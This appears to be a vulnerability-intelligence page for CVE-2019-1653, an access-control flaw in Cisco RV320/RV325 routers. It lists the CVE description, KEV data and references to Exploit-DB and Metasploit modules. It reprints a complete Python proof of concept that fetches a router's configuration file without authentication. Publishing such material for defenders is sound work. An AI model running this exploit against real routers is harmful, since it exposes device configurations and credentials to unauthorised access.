VIR Vulnerability Intelligence Relay

CVE-2019-1653

unknown KEV
Published 2021-11-03 · Modified 2021-11-03
💬 Discuss on Community ✚ Propose mitigation
CVSS v3
—
CVSS v4 NEW
—
not yet in upstream
VIR risk
2.5

Description

Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers contain improper access controls for URLs. Exploitation could allow an attacker to download the router configuration or detailed diagnostic information.

CISA KEV

Vendor
Cisco
Product
Small Business RV320 and RV325 Routers
Due date
2022-05-03

Predictions

Exploit likelihood
99%
Patch ETA
—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-46655 remote hardware verified
Metasploit · 2019-04-03

Cisco RV320 and RV325 - Unauthenticated Remote Code Execution (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-46262 webapps hardware python · 1 KB
Harom Ramos · 2019-01-28

Cisco RV300 / RV320 - Information Disclosure

python exploit Source: Exploit-DB 
# Exploit Title: 6coRV Exploit
# Date: 01-26-2018
# Exploit Author: Harom Ramos [Horus]
# Tested on: Cisco RV300/RV320
# CVE : CVE-2019-1653

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from fake_useragent import UserAgent

def random_headers():
    return dict({'user-agent': UserAgent().random})

def request(url):
    r = requests.Session()
    try:
        get =  r.get(url, headers = random_headers(), timeout = 5, verify=False)#, allow_redirects=False
        if get.status_code == 200:  
            return get.text    
    except requests.ConnectionError:
        return 'Error Conecting'
    except requests.Timeout:
	    return 'Error Timeout'
    except KeyboardInterrupt:
        raise    
    except:
        return 0

print("")        
print("##################################################")
print("CISCO CVE-2019-1653 POC")
print("From H. with love")
print("")

url = raw_input("URL> EX:http://url:port/ ") 
url = url + "/cgi-bin/config.exp"
print(request(url))

Metasploit modules

exploit_linux/http/cisco_rv32x_rce rank 300
Cisco RV320 and RV325 Unauthenticated Remote Code Execution
Source fetch failed: fetch_error — view the original via the link above.
auxiliary_gather/cisco_rv320_config rank 300
Cisco RV320/RV326 Configuration Disclosure
Source fetch failed: fetch_error — view the original via the link above.

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.